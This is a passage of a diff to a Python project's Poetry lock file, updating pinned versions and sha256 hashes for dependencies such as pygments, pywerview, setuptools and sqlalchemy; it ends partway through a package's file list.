@@ -1715,18 +1694,18 @@ jinja2 = ">=2.11.1,<4" tomlkit = ">=0.4" [package.extras] -plugin = ["poetry (>=1.2.0,<2.0.0)"] +plugin = ["poetry (>=1.2.0)"] [[package]] name = "prompt-toolkit" -version = "3.0.48" +version = "3.0.50" description = "Library for building powerful interactive command lines in Python" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.8.0" groups = ["main"] files = [ - {file = "prompt_toolkit-3.0.48-py3-none-any.whl", hash = "sha256:f49a827f90062e411f1ce1f854f2aedb3c23353244f8108b89283587397ac10e"}, - {file = "prompt_toolkit-3.0.48.tar.gz", hash = "sha256:d6623ab0477a80df74e646bdbc93621143f5caf104206aa29294d53de1a03d90"}, + {file = "prompt_toolkit-3.0.50-py3-none-any.whl", hash = "sha256:9b6427eb19e479d98acff65196a307c555eb567989e6d88ebbb1b509d9779198"}, + {file = "prompt_toolkit-3.0.50.tar.gz", hash = "sha256:544748f3860a2623ca5cd6d2795e7a14f3d0e1c3c9728359013f79877fc89bab"}, ] [package.dependencies] @@ -1746,18 +1725,18 @@ files = [ [[package]] name = "pyasn1-modules" -version = "0.3.0" +version = "0.4.1" description = "A collection of ASN.1-based protocols modules" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, - {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, + {file = "pyasn1_modules-0.4.1-py3-none-any.whl", hash = "sha256:49bfa96b45a292b711e986f222502c1c9a5e1f4e568fc30e2574a6c7d07838fd"}, + {file = "pyasn1_modules-0.4.1.tar.gz", hash = "sha256:c28e2dbf9c06ad61c71a075c7e0f9fd0f1b0bb2d2ad4377f240d33ac2ab60a7c"}, ] [package.dependencies] -pyasn1 = ">=0.4.6,<0.6.0" +pyasn1 = ">=0.4.6,<0.7.0" [[package]] name = "pycodestyle" @@ -1881,14 +1860,14 @@ files = [ [[package]] name = "pygments" -version = "2.18.0" +version = "2.19.1" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a"}, - {file = "pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199"}, + {file = "pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c"}, + {file = "pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f"}, ] [package.extras] @@ -1970,14 +1949,14 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.2.0" +version = "3.2.1" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pyparsing-3.2.0-py3-none-any.whl", hash = "sha256:93d9577b88da0bbea8cc8334ee8b918ed014968fd2ec383e868fb8afb1ccef84"}, - {file = "pyparsing-3.2.0.tar.gz", hash = "sha256:cbf74e27246d595d9a74b186b810f6fbb86726dbf3b9532efb343f6d7294fe9c"}, + {file = "pyparsing-3.2.1-py3-none-any.whl", hash = "sha256:506ff4f4386c4cec0590ec19e6302d3aedb992fdc02c761e90416f158dacf8e1"}, + {file = "pyparsing-3.2.1.tar.gz", hash = "sha256:61980854fd66de3a90028d679a954d5f2623e83144b5afe5ee86f43d762e5f0a"}, ] [package.extras] @@ -2056,14 +2035,14 @@ dev = ["build", "flake8", "mypy", "pytest", "twine"] [[package]] name = "pyspnego" -version = "0.11.1" +version = "0.11.2" description = "Windows Negotiate Authentication Client and Server" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyspnego-0.11.1-py3-none-any.whl", hash = "sha256:129a4294f2c4d681d5875240ef87accc6f1d921e8983737fb0b59642b397951e"}, - {file = "pyspnego-0.11.1.tar.gz", hash = "sha256:e92ed8b0a62765b9d6abbb86a48cf871228ddb97678598dc01c9c39a626823f6"}, + {file = "pyspnego-0.11.2-py3-none-any.whl", hash = "sha256:74abc1fb51e59360eb5c5c9086e5962174f1072c7a50cf6da0bda9a4bcfdfbd4"}, + {file = "pyspnego-0.11.2.tar.gz", hash = "sha256:994388d308fb06e4498365ce78d222bf4f3570b6df4ec95738431f61510c971b"}, ] [package.dependencies] @@ -2128,33 +2107,28 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2024.2" +version = "2025.1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pytz-2024.2-py2.py3-none-any.whl", hash = "sha256:31c7c1817eb7fae7ca4b8c7ee50c72f93aa2dd863de768e1ef4245d426aa0725"}, - {file = "pytz-2024.2.tar.gz", hash = "sha256:2aa355083c50a0f93fa581709deac0c9ad65cca8a9e9beac660adcbd493c798a"}, + {file = "pytz-2025.1-py2.py3-none-any.whl", hash = "sha256:89dd22dca55b46eac6eda23b2d72721bf1bdfef212645d81513ef5d03038de57"}, + {file = "pytz-2025.1.tar.gz", hash = "sha256:c2db42be2a2518b28e65f9207c4d05e6ff547d1efa4086469ef855e4ab70178e"}, ] [[package]] name = "pywerview" -version = "0.3.3" +version = "0.7.1" description = "A Python port of PowerSploit's PowerView" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pywerview-0.3.3-py3-none-any.whl", hash = "sha256:66e8135456bb47c88a00a00caf8f4a19b63f9e7bbb00774e99720f3b21b50f63"}, - {file = "pywerview-0.3.3.tar.gz", hash = "sha256:adc8797976659efeadf3e2fd583430b80c28ed76e0ca54ecb8dc95b6030c6d5c"}, + {file = "pywerview-0.7.1-py3-none-any.whl", hash = "sha256:55cf663793f82f85113e7d43a6fac31932320a63d60bf65b7bb260c42b4a2a32"}, + {file = "pywerview-0.7.1.tar.gz", hash = "sha256:d3d980e3751b85a79b95f32f32770121e8881d3bbe409a48891e907638f2ba36"}, ] -[package.dependencies] -bs4 = "*" -impacket = ">=0.9.22" -lxml = "*" - [[package]] name = "requests" version = "2.32.3" @@ -2179,14 +2153,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.9.2" +version = "13.9.4" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false python-versions = ">=3.8.0" groups = ["main"] files = [ - {file = "rich-13.9.2-py3-none-any.whl", hash = "sha256:8c82a3d3f8dcfe9e734771313e606b39d8247bb6b826e196f4914b333b743cf1"}, - {file = "rich-13.9.2.tar.gz", hash = "sha256:51a2c62057461aaf7152b4d611168f93a9fc73068f8ded2790f29fe2b5366d0c"}, + {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, + {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, ] [package.dependencies] @@ -2226,35 +2200,35 @@ files = [ [[package]] name = "setuptools" -version = "75.2.0" +version = "75.8.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "setuptools-75.2.0-py3-none-any.whl", hash = "sha256:a7fcb66f68b4d9e8e66b42f9876150a3371558f98fa32222ffaa5bced76406f8"}, - {file = "setuptools-75.2.0.tar.gz", hash = "sha256:753bb6ebf1f465a1912e19ed1d41f403a79173a9acf66a42e7e6aec45c3c16ec"}, + {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, + {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, ] [package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.5.2) ; sys_platform != \"cygwin\""] -core = ["importlib-metadata (>=6) ; python_version < \"3.10\"", "importlib-resources (>=5.10.2) ; python_version < \"3.9\"", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.collections", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib-metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.11.*)", "pytest-mypy"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] [[package]] name = "shiv" -version = "1.0.6" +version = "1.0.8" description = "A command line utility for building fully self contained Python zipapps." optional = false python-versions = ">=3.6" groups = ["dev"] files = [ - {file = "shiv-1.0.6-py2.py3-none-any.whl", hash = "sha256:a6ab14ba82729b7e9775e41e3beca02375c888115d0c060fc3bd980b37cb0495"}, - {file = "shiv-1.0.6.tar.gz", hash = "sha256:e222768135977bebdfb5c0d1a7dfea29557c566b58d300d5b8c2535ef223d776"}, + {file = "shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24"}, + {file = "shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6"}, ] [package.dependencies] @@ -2267,14 +2241,14 @@ rtd = ["sphinx-click"] [[package]] name = "six" -version = "1.16.0" +version = "1.17.0" description = "Python 2 and 3 compatibility utilities" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" groups = ["main"] files = [ - {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, - {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] [[package]] @@ -2291,73 +2265,73 @@ files = [ [[package]] name = "sqlalchemy" -version = "2.0.36" +version = "2.0.38" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:59b8f3adb3971929a3e660337f5dacc5942c2cdb760afcabb2614ffbda9f9f72"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:37350015056a553e442ff672c2d20e6f4b6d0b2495691fa239d8aa18bb3bc908"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8318f4776c85abc3f40ab185e388bee7a6ea99e7fa3a30686580b209eaa35c08"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c245b1fbade9c35e5bd3b64270ab49ce990369018289ecfde3f9c318411aaa07"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:69f93723edbca7342624d09f6704e7126b152eaed3cdbb634cb657a54332a3c5"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f9511d8dd4a6e9271d07d150fb2f81874a3c8c95e11ff9af3a2dfc35fe42ee44"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-win32.whl", hash = "sha256:c3f3631693003d8e585d4200730616b78fafd5a01ef8b698f6967da5c605b3fa"}, - {file = "SQLAlchemy-2.0.36-cp310-cp310-win_amd64.whl", hash = "sha256:a86bfab2ef46d63300c0f06936bd6e6c0105faa11d509083ba8f2f9d237fb5b5"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fd3a55deef00f689ce931d4d1b23fa9f04c880a48ee97af488fd215cf24e2a6c"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f5e9cd989b45b73bd359f693b935364f7e1f79486e29015813c338450aa5a71"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0ddd9db6e59c44875211bc4c7953a9f6638b937b0a88ae6d09eb46cced54eff"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2519f3a5d0517fc159afab1015e54bb81b4406c278749779be57a569d8d1bb0d"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59b1ee96617135f6e1d6f275bbe988f419c5178016f3d41d3c0abb0c819f75bb"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:39769a115f730d683b0eb7b694db9789267bcd027326cccc3125e862eb03bfd8"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-win32.whl", hash = "sha256:66bffbad8d6271bb1cc2f9a4ea4f86f80fe5e2e3e501a5ae2a3dc6a76e604e6f"}, - {file = "SQLAlchemy-2.0.36-cp311-cp311-win_amd64.whl", hash = "sha256:23623166bfefe1487d81b698c423f8678e80df8b54614c2bf4b4cfcd7c711959"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f7b64e6ec3f02c35647be6b4851008b26cff592a95ecb13b6788a54ef80bbdd4"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:46331b00096a6db1fdc052d55b101dbbfc99155a548e20a0e4a8e5e4d1362855"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdf3386a801ea5aba17c6410dd1dc8d39cf454ca2565541b5ac42a84e1e28f53"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac9dfa18ff2a67b09b372d5db8743c27966abf0e5344c555d86cc7199f7ad83a"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:90812a8933df713fdf748b355527e3af257a11e415b613dd794512461eb8a686"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1bc330d9d29c7f06f003ab10e1eaced295e87940405afe1b110f2eb93a233588"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-win32.whl", hash = "sha256:79d2e78abc26d871875b419e1fd3c0bca31a1cb0043277d0d850014599626c2e"}, - {file = "SQLAlchemy-2.0.36-cp312-cp312-win_amd64.whl", hash = "sha256:b544ad1935a8541d177cb402948b94e871067656b3a0b9e91dbec136b06a2ff5"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b5cc79df7f4bc3d11e4b542596c03826063092611e481fcf1c9dfee3c94355ef"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3c01117dd36800f2ecaa238c65365b7b16497adc1522bf84906e5710ee9ba0e8"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bc633f4ee4b4c46e7adcb3a9b5ec083bf1d9a97c1d3854b92749d935de40b9b"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e46ed38affdfc95d2c958de328d037d87801cfcbea6d421000859e9789e61c2"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b2985c0b06e989c043f1dc09d4fe89e1616aadd35392aea2844f0458a989eacf"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a121d62ebe7d26fec9155f83f8be5189ef1405f5973ea4874a26fab9f1e262c"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-win32.whl", hash = "sha256:0572f4bd6f94752167adfd7c1bed84f4b240ee6203a95e05d1e208d488d0d436"}, - {file = "SQLAlchemy-2.0.36-cp313-cp313-win_amd64.whl", hash = "sha256:8c78ac40bde930c60e0f78b3cd184c580f89456dd87fc08f9e3ee3ce8765ce88"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:be9812b766cad94a25bc63bec11f88c4ad3629a0cec1cd5d4ba48dc23860486b"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50aae840ebbd6cdd41af1c14590e5741665e5272d2fee999306673a1bb1fdb4d"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4557e1f11c5f653ebfdd924f3f9d5ebfc718283b0b9beebaa5dd6b77ec290971"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07b441f7d03b9a66299ce7ccf3ef2900abc81c0db434f42a5694a37bd73870f2"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:28120ef39c92c2dd60f2721af9328479516844c6b550b077ca450c7d7dc68575"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-win32.whl", hash = "sha256:b81ee3d84803fd42d0b154cb6892ae57ea6b7c55d8359a02379965706c7efe6c"}, - {file = "SQLAlchemy-2.0.36-cp37-cp37m-win_amd64.whl", hash = "sha256:f942a799516184c855e1a32fbc7b29d7e571b52612647866d4ec1c3242578fcb"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3d6718667da04294d7df1670d70eeddd414f313738d20a6f1d1f379e3139a545"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:72c28b84b174ce8af8504ca28ae9347d317f9dba3999e5981a3cd441f3712e24"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b11d0cfdd2b095e7b0686cf5fabeb9c67fae5b06d265d8180715b8cfa86522e3"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e32092c47011d113dc01ab3e1d3ce9f006a47223b18422c5c0d150af13a00687"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:6a440293d802d3011028e14e4226da1434b373cbaf4a4bbb63f845761a708346"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:c54a1e53a0c308a8e8a7dffb59097bff7facda27c70c286f005327f21b2bd6b1"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-win32.whl", hash = "sha256:1e0d612a17581b6616ff03c8e3d5eff7452f34655c901f75d62bd86449d9750e"}, - {file = "SQLAlchemy-2.0.36-cp38-cp38-win_amd64.whl", hash = "sha256:8958b10490125124463095bbdadda5aa22ec799f91958e410438ad6c97a7b793"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:dc022184d3e5cacc9579e41805a681187650e170eb2fd70e28b86192a479dcaa"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b817d41d692bf286abc181f8af476c4fbef3fd05e798777492618378448ee689"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e46a888b54be23d03a89be510f24a7652fe6ff660787b96cd0e57a4ebcb46d"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4ae3005ed83f5967f961fd091f2f8c5329161f69ce8480aa8168b2d7fe37f06"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:03e08af7a5f9386a43919eda9de33ffda16b44eb11f3b313e6822243770e9763"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:3dbb986bad3ed5ceaf090200eba750b5245150bd97d3e67343a3cfed06feecf7"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-win32.whl", hash = "sha256:9fe53b404f24789b5ea9003fc25b9a3988feddebd7e7b369c8fac27ad6f52f28"}, - {file = "SQLAlchemy-2.0.36-cp39-cp39-win_amd64.whl", hash = "sha256:af148a33ff0349f53512a049c6406923e4e02bf2f26c5fb285f143faf4f0e46a"}, - {file = "SQLAlchemy-2.0.36-py3-none-any.whl", hash = "sha256:fddbe92b4760c6f5d48162aef14824add991aeda8ddadb3c31d56eb15ca69f8e"}, - {file = "sqlalchemy-2.0.36.tar.gz", hash = "sha256:7f2767680b6d2398aea7082e45a774b2b0767b5c8d8ffb9c8b683088ea9b29c5"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e1d9e429028ce04f187a9f522818386c8b076723cdbe9345708384f49ebcec6"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b87a90f14c68c925817423b0424381f0e16d80fc9a1a1046ef202ab25b19a444"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:402c2316d95ed90d3d3c25ad0390afa52f4d2c56b348f212aa9c8d072a40eee5"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6493bc0eacdbb2c0f0d260d8988e943fee06089cd239bd7f3d0c45d1657a70e2"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0561832b04c6071bac3aad45b0d3bb6d2c4f46a8409f0a7a9c9fa6673b41bc03"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49aa2cdd1e88adb1617c672a09bf4ebf2f05c9448c6dbeba096a3aeeb9d4d443"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-win32.whl", hash = "sha256:64aa8934200e222f72fcfd82ee71c0130a9c07d5725af6fe6e919017d095b297"}, + {file = "SQLAlchemy-2.0.38-cp310-cp310-win_amd64.whl", hash = "sha256:c57b8e0841f3fce7b703530ed70c7c36269c6d180ea2e02e36b34cb7288c50c7"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bf89e0e4a30714b357f5d46b6f20e0099d38b30d45fa68ea48589faf5f12f62d"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8455aa60da49cb112df62b4721bd8ad3654a3a02b9452c783e651637a1f21fa2"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53c0d6a859b2db58332e0e6a921582a02c1677cc93d4cbb36fdf49709b327b2"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3c4817dff8cef5697f5afe5fec6bc1783994d55a68391be24cb7d80d2dbc3a6"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9cea5b756173bb86e2235f2f871b406a9b9d722417ae31e5391ccaef5348f2c"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:40e9cdbd18c1f84631312b64993f7d755d85a3930252f6276a77432a2b25a2f3"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-win32.whl", hash = "sha256:cb39ed598aaf102251483f3e4675c5dd6b289c8142210ef76ba24aae0a8f8aba"}, + {file = "SQLAlchemy-2.0.38-cp311-cp311-win_amd64.whl", hash = "sha256:f9d57f1b3061b3e21476b0ad5f0397b112b94ace21d1f439f2db472e568178ae"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12d5b06a1f3aeccf295a5843c86835033797fea292c60e72b07bcb5d820e6dd3"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e036549ad14f2b414c725349cce0772ea34a7ab008e9cd67f9084e4f371d1f32"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee3bee874cb1fadee2ff2b79fc9fc808aa638670f28b2145074538d4a6a5028e"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e185ea07a99ce8b8edfc788c586c538c4b1351007e614ceb708fd01b095ef33e"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b79ee64d01d05a5476d5cceb3c27b5535e6bb84ee0f872ba60d9a8cd4d0e6579"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:afd776cf1ebfc7f9aa42a09cf19feadb40a26366802d86c1fba080d8e5e74bdd"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-win32.whl", hash = "sha256:a5645cd45f56895cfe3ca3459aed9ff2d3f9aaa29ff7edf557fa7a23515a3725"}, + {file = "SQLAlchemy-2.0.38-cp312-cp312-win_amd64.whl", hash = "sha256:1052723e6cd95312f6a6eff9a279fd41bbae67633415373fdac3c430eca3425d"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ecef029b69843b82048c5b347d8e6049356aa24ed644006c9a9d7098c3bd3bfd"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9c8bcad7fc12f0cc5896d8e10fdf703c45bd487294a986903fe032c72201596b"}, + {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a0ef3f98175d77180ffdc623d38e9f1736e8d86b6ba70bff182a7e68bed7727"}, + 